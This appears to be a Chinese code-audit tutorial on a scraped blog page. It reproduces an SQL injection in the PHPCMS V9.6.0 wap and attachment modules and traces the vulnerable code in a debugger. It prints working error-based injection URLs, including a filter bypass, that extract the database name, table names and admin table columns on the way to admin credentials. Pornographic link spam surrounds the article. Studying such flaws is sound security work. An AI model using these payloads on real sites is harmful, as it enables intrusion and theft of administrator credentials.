日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

2-PHP代码审计——PHPCMSV9.6.0 sql注入漏洞

發(fā)布時間:2023/12/16 php 48 豆豆
生活随笔 收集整理的這篇文章主要介紹了 2-PHP代码审计——PHPCMSV9.6.0 sql注入漏洞 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

PHPCMSV9.6.0 wap模塊sql注入漏洞

漏洞環(huán)境:PHPCMSV9.6.0

?

實驗環(huán)境的poc:

/index.php?m=wap&c=index&siteid=1 userid_flash=b3a3Dv_ICFSxJ_SDlQhbf6cdklSxsLje2RJwBTGknbusMO0 /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26 nQLyd_att_json= /index.php?m=content&c=down&a_k=3c04zT3vBzWN-5KY9wJWSjAw-fa_vfUg41m3-qc2F_wvG4qpWXqypuWOX5npJl81T87DIfWU7kKgZqDNqDPmiLkdrDLszeLTn5YrzPqkz3kz-s6M8PTLFAA5n9l5MTU90VCTwFKKcaCUHaXT1h4GJKQFulKdSKDTsAa7zXnsDNj2q-0V5AE4Ir4

?

漏洞復現(xiàn)

把之前準備的poc(/index.php?m=wap&c=index&siteid=1)粘貼到地址欄,訪問網(wǎng)址,開啟burpsuite代理:

?

?

在burpsuite抓包軟件中,右鍵Send to Repeater,修改數(shù)據(jù)包點擊Go,如下所示:

?

服務器返回了一個cookie,udntD_siteid字段。

?

把udntD_siteid字段的值復制粘貼到userid_flash中:

userid_flash=4683sBPQGwA2ouyhewFlSKtPfoAV3d1qX5ts_-Yq

然后把GET請求改為POST請求,并把POST請求的數(shù)據(jù)改為如下所示:

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26

服務器會返回一個cookie,cookie中有一個字段udntD_att_json是我們下一步要用到的。注意:如果返回的Response包報錯,在Request請求包中加上content-Type:application/x-www-form-urlencoded

?

?

cookie中的udntD_att_json字段的值:

3c04zT3vBzWN-5KY9wJWSjAw-fa_vfUg41m3-qc2F_wvG4qpWXqypuWOX5npJl81T87DIfWU7kKgZqDNqDPmiLkdrDLszeLTn5YrzPqkz3kz-s6M8PTLFAA5n9l5MTU90VCTwFKKcaCUHaXT1h4GJKQFulKdSKDTsAa7zXnsDNj2q-0V5AE4Ir4

把post請求的uri改為如下,并把cookie中的這個字段的值復制粘貼到post提交的a_k中,如下所示:

/index.php?m=content&c=down&a_k=3c04zT3vBzWN-5KY9wJWSjAw-fa_vfUg41m3-qc2F_wvG4qpWXqypuWOX5npJl81T87DIfWU7kKgZqDNqDPmiLkdrDLszeLTn5YrzPqkz3kz-s6M8PTLFAA5n9l5MTU90VCTwFKKcaCUHaXT1h4GJKQFulKdSKDTsAa7zXnsDNj2q-0V5AE4Ir4

再提交POST請求,服務器的http數(shù)據(jù)包會把數(shù)據(jù)庫的報錯信息返回:

Response包返回的mysql錯誤信息中爆出了數(shù)據(jù)庫phpcmsv96,還包括數(shù)據(jù)庫的用戶名和地址(root@localhost),我們推測mysql數(shù)據(jù)庫報錯的原因應該是POST請求的uri有問題。

?

為了驗證我們的推測,進一步分析POST請求的uri:這個http請求訪問了content模塊下的down源文件。

分析down源文件:

down文件的init函數(shù)里用到了a_k參數(shù),但是http請求并沒有調(diào)用任何函數(shù),也就是說down文件應該是自動調(diào)用的,分別在構造函數(shù)和init函數(shù)添加兩行代碼看是否自動調(diào)用。

?

把POST請求的URI改為/index.php?m=content&c=down

從返回的信息來看,down文件中的init函數(shù)確實是自動執(zhí)行的,這里我們重點分析init函數(shù)

?

打開google瀏覽器,開啟xdebug調(diào)試

?

init函數(shù)首先接收a_k的值,通過sys_auth函數(shù)解密,解密后如下所示:

{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}

?

parse_str函數(shù)是對解密后的url進行解析并返回一個變量,最終獲取到' and updatexml(1,concat(1,(user())),1)#這一部分:

updatexml在報錯注入中經(jīng)常用到的一個函數(shù),繼續(xù)跟蹤代碼分析后臺是如何報錯的。

?

接著調(diào)用了get_once函數(shù):

public function get_one($data, $table, $where = '', $order = '', $group = '') {$where = $where == '' ? '' : ' WHERE '.$where;$order = $order == '' ? '' : ' ORDER BY '.$order;$group = $group == '' ? '' : ' GROUP BY '.$group;$limit = ' LIMIT 1';$field = explode( ',', $data);array_walk($field, array($this, 'add_special_char'));$data = implode(',', $field);$sql = 'SELECT '.$data.' FROM `'.$this->config['database'].'`.`'.$table.'`'.$where.$group.$order.$limit;$this->execute($sql);$res = $this->fetch_next();$this->free_result();return $res; }

?

get_once函數(shù)里調(diào)用了execute函數(shù)執(zhí)行了sql語句,最終導致mysql數(shù)據(jù)庫報錯。

?

漏洞復現(xiàn)完畢,梳理一下整個漏洞的利用流程:

第三步中漏洞利用的過程中sys_auth函數(shù)起到了很關鍵的作用,這里拋出一個問題:那么是誰調(diào)用了sys_auth函數(shù)解密?根據(jù)整個漏洞的利用過程,我們需要反過來分析第二步。

?

在phpstorm中找到attachment模塊的attachments文件,分析swfupload_json函數(shù):

swfupload_json函數(shù)會提取http請求的數(shù)據(jù)adi,src,filename存放到數(shù)組arr中(filename值為空是因為我們沒有提交數(shù)據(jù)),調(diào)用json_encode對arr數(shù)組加密并轉換成json數(shù)據(jù)格式json_str,然后調(diào)用set_cookie函數(shù)。

?

需要注意的是,http請求提交的src的值是:

%*27這樣寫的目的是為了繞過safe_replace函數(shù)的檢測,%*27最終會匹配到*符號,過濾之后就成了%27(有興趣的同學可以看下safe_replace函數(shù)的具體實現(xiàn)

?

在set_cookie函數(shù)中調(diào)用了sys_auth函數(shù)進行加密,調(diào)用setcookie函數(shù)設置到cookie

其中udntD_att_json字段的內(nèi)容就是json_str的值,這也就說的通第三步http請求$a_k的值了。

?

現(xiàn)在又有一個新的問題:為什么這里會設置cookie?帶著問題,我們繼續(xù)分析第一步,注意:第一步的http請求調(diào)用了wap模塊的index.php

注意:index.php文件只執(zhí)行了構造函數(shù)(沒有執(zhí)行init函數(shù)),第9行代碼經(jīng)過了連續(xù)的三目運算判斷,siteid的值為1,接著調(diào)用了set_cookie函數(shù),把siteid作為參數(shù)傳入set_cookie函數(shù)。

?

繼續(xù)跟蹤set_cookie函數(shù)

set_cookie函數(shù)的參數(shù)siteid賦值給value,現(xiàn)在value的值為1,第91行的is_array函數(shù)會對value進行判斷,因為value不是數(shù)組則會執(zhí)行第96行代碼設置setcookie,調(diào)用sys_auth函數(shù)加密。

到這里,整個漏洞的利用過程分析完畢,第二個問題也迎刃而解。

?

還有一個小問題,第二步提交的http請求中,帶了userid_flas參數(shù),可能有同學會不解,說明一下:其目的是第二步的構造函數(shù)需要驗證userid,想了解的同學可以在第二步debug跟蹤驗證userid的流程,這里不再演示。

?

?

編寫exp

僅用于技術交流和研究使用,切勿用作其他非法用途,希望大家遵守相關法律法規(guī),堅決抵制任何違法犯罪活動。

獲取數(shù)據(jù)庫名

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28database%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26/index.php?m=content&c=down&a_k=607cobRAvXw5UHTgmC8eAceaa2O3S1apFTjwplAg5jBLsUBBT9sqicAXHQNDFAV9wv_mcepgtWYsIz5zu-OegyNNWkdB96BgSgJ-GZhOaurd4CyCVUizrLJvtAvUo4TOKKaQ3msYlKdz20wDFFNq7cMZ7_d_Di-QHLnXk_ycxYi4uftkFMKcZqYbEw_l

?

獲取數(shù)據(jù)庫表名

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%280x7e%2C%28select%20table_name%20from%20information_schema.tables%20where%20table_schema=database%28%29%20limit%200%2C1%29%29%2C3%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26/index.php?m=content&c=down&a_k=8f45ay4YrQQ5GMdkRzI5nao6f5erP_Rqn9l98OCdmFl4yJ8FKJEMTS_e7nE3OPfFtN_FCkk9VWHOzZEVrGNpF-AKRJWq4fwhM1yebyXRyuC5pJxOB-2eLlB9-SLMOHeD7ibIXKPsGFZ7Jwvd7ebr89kn1HSZlBqfluR87QEk631XiLrmpzZpKqUY88q0oAvTFAhr_rAP5lFE6h8eYQvRn6YyUmWFg6YmHc63g4jwyznko1Eq4a6jkSXqbz6z1YDB_RnL8g2GL5clhe7Kt3_Re66HMiRfI0GbvNcmUxOB

通過來控制limit函數(shù)的第一個參數(shù),依次爆破數(shù)據(jù)庫的每張表名,還有一種方式就是通過group_concat函數(shù)對數(shù)據(jù)庫表名進行拼接。

最終爆破出存儲管理員用戶名和密碼的表名v9_6admin

?

?

獲取表字段

/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%280x7e%2C%28select%20group_concat%28column_name%29%20from%20information_schema.columns%20where%20table_schema=database%28%29%20and%20table_name=%*27v9_6admin%*27%29%29%2C3%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26/index.php?m=content&c=down&a_k=1494ZzfW09A5rCun4L9U7nB_Y_yRMI8rCLJL_CorQDIsVPI6P-47U0aDun95SdkcFXMvG42fpCMUjcD1ml5m8BaLfB6Bv2O7OPj34GV3E23ScaO5-N6DrOWfFhyQUKEHaO4QcsDpbrOyKn2UJum_WH4EVeQaMnMlcAh7wb-YsktlImMM6mEQGi4_yBZ1XyTUmyp15PfkiCntWCOh7X0A-05JtKEJcKMpBPVEmz8jB0RYSUYBtWMPP6Rh-WBUH-ryq_icLU5_1Is4uizNHtELKHhQBLzbL53taBuPQw6EnJPl15BaOcTqCjYc-x6FOpnCe4RIsfMZcP3OYVdU0xjia6hkwA

My SQL Error:爆出了v9_6admin表的所有字段。

通過字段,最終獲取用戶名和密碼

?

總結

以上是生活随笔為你收集整理的2-PHP代码审计——PHPCMSV9.6.0 sql注入漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 麻豆一区在线 | 91视频官网 | 亚洲欧美一区二区在线观看 | 天堂中文在线资 | 久久综合成人网 | 老熟妇一区二区三区啪啪 | 三级黄色网 | 草久久久久久 | 色欲av伊人久久大香线蕉影院 | 原来神马电影免费高清完整版动漫 | 亚洲精品国产一区二区 | x88av在线| 午夜性片 | 日韩18p| 久久99精品国产麻豆婷婷洗澡 | 久久不卡视频 | 中文字幕码精品视频网站 | 无码一区二区三区免费视频 | 中文字幕在线播放日韩 | a视频在线观看 | 人妻 日韩精品 中文字幕 | 亚洲精品久久久久中文字幕二区 | 成人在线视频播放 | 欧美极品第一页 | 91视频网址入口 | 日韩福利在线播放 | www操操操 | 中国少妇初尝黑人巨大 | 在线免费观看中文字幕 | 欧美美女性高潮 | 欧美午夜理伦三级在线观看 | 欧美成人免费观看视频 | 亚洲一区二区三区无码久久 | 偷拍青青草 | 精品欧美一区二区久久久 | 亚洲天堂小视频 | 超在线视频 | 日干夜操| 日本人妻一区二区三区 | 免费视频日韩 | 在线综合网 | 视频一区二区在线观看 | 精品亚洲一区二区三区四区五区高 | 草碰在线 | 成年人毛片 | 九色一区 | 夜夜添无码一区二区三区 | 国产免费高清视频 | 成人亚洲网站 | 免费看裸体网站 | 亚洲日b视频| 久久神马| 在线观看亚洲 | 91av视频网站 | 亚洲网站免费看 | av基地网 | 无套内谢的新婚少妇国语播放 | 香蕉a | 久草新在线 | 成人在线免费小视频 | 日本不卡在线观看 | 久久成人a毛片免费观看网站 | 欧美 日韩 国产一区 | 成人在线视频一区二区 | 人妻精品一区二区在线 | 国产自偷自拍 | 日韩精品在线视频观看 | 97国产高清 | 操丝袜美女视频 | 免费观看久久 | 99在线精品免费视频 | 日韩欧美亚洲一区 | 久一区二区三区 | 日韩性插 | 亚洲综合在线视频 | 欧美一级日韩一级 | 人妻大战黑人白浆狂泄 | 亚洲在线国产 | 久久avav| 国产精品扒开腿做爽爽爽a片唱戏 | 亚洲精品视频免费看 | 男人爱看的网站 | 精品午夜一区二区三区 | 亚洲午夜18毛片在线看 | 黄色小说网站在线观看 | 天堂成人网 | 欧美另类性| 天天干天天爽天天操 | 国产一区二区久久精品 | 爱逼综合| 欧美成人三区 | 欧美亚洲精品在线观看 | 成年人国产视频 | 麻豆疯狂做受xxxx高潮视频 | a天堂中文网 | 亚洲v国产| 在线中文字幕av | 啪啪免费网址 | 中文字幕一区二区三区四区不卡 |